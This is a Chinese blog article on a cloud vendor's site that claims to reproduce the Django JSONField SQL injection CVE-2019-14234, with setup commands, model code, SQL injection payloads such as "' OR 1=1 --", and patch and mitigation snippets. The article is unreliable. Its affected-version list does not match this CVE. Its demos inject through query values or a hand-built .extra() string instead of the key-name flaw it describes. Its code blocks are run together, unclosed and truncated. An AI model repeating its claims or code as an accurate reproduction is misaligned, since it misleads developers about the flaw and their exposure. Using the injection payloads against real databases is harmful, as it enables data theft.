您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# Django JSONField SQL注入漏洞CVE-2019-14234的复现分析
## 漏洞概述
CVE-2019-14234是Django框架在2019年披露的一个高危SQL注入漏洞,影响使用JSONField/HStoreField的PostgreSQL数据库场景。该漏洞允许攻击者通过精心构造的查询参数绕过Django的SQL注入防护机制,直接执行恶意SQL语句。
### 受影响版本
- Django 1.11.x < 1.11.27
- Django 2.2.x < 2.2.9
- Django 3.0.x < 3.0.1
### 漏洞原理
漏洞源于Django对JSONField键名(key)的处理不当。当使用`QuerySet`的`filter()`、`exclude()`等方法时,未正确转义用户提供的键名参数,导致攻击者可以注入SQL表达式。
## 环境搭建
### 1. 准备测试环境
```bash
# 使用Docker快速搭建环境
docker run --name django-pg -e POSTGRES_PASSWORD=password -p 5432:5432 -d postgres
pip install django==2.2.8 psycopg2-binary
# models.py
from django.db import models
from django.contrib.postgres.fields import JSONField
class UserData(models.Model):
name = models.CharField(max_length=100)
data = JSONField(default=dict)
python manage.py makemigrations
python manage.py migrate
# 安全查询
UserData.objects.filter(data__key='value')
# 生成SQL:WHERE "data" -> 'key' = 'value'
# 构造恶意查询
UserData.objects.filter(data__malicious_key="' OR 1=1 --")
# 实际生成SQL:
# WHERE "data" -> 'malicious_key' = '' OR 1=1 --'
from vuln_app.models import UserData
# 插入测试数据
UserData.objects.create(name='test', data={'secret': '123'})
# 攻击者构造的恶意输入
injection = """' = '' OR 1=1) --
malicious_result = UserData.objects.extra(
where=["data::text LIKE '%%%s%%'" % injection]
)
# 将返回所有记录
print(malicious_result)
漏洞核心在django/contrib/postgres/fields/jsonb.py
中的KeyTransform
类:
class KeyTransform(Transform):
operator = '->'
nested_operator = '#>'
def __init__(self, key_name, *args, **kwargs):
super().__init__(*args, **kwargs)
self.key_name = key_name # 未充分过滤的键名
Django使用PostgreSQL的->
操作符查询JSON字段,该操作符的右操作数直接拼接SQL语句:
-- 正常使用
SELECT * FROM table WHERE data->'key' = 'value';
-- 注入场景
SELECT * FROM table WHERE data->'injected' OR 1=1 --' = 'value';
Django在修复版本中做了以下改进:
KeyTransform
的as_sql()
方法严格转义:def as_sql(self, compiler, connection):
key_transforms = [self.key_name]
...
return "(%s %s %%s)" % (lhs, self.operator), params
pip install --upgrade django>=2.2.9
from django.core.exceptions import ValidationError
def validate_json_key(value):
if not re.match(r'^[a-zA-Z0-9_]+$', value):
raise ValidationError('Invalid JSON key name')
# 安全方式
UserData.objects.filter(data__contains={'key': 'value'})
CVE-2019-14234展示了ORM层可能存在的安全隐患,即使是Django这样成熟的框架也可能在特定功能实现上出现疏漏。这提醒我们:
附录:相关资源 - Django官方安全公告 - CVE详细报告 - PostgreSQL JSON函数文档 “`
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。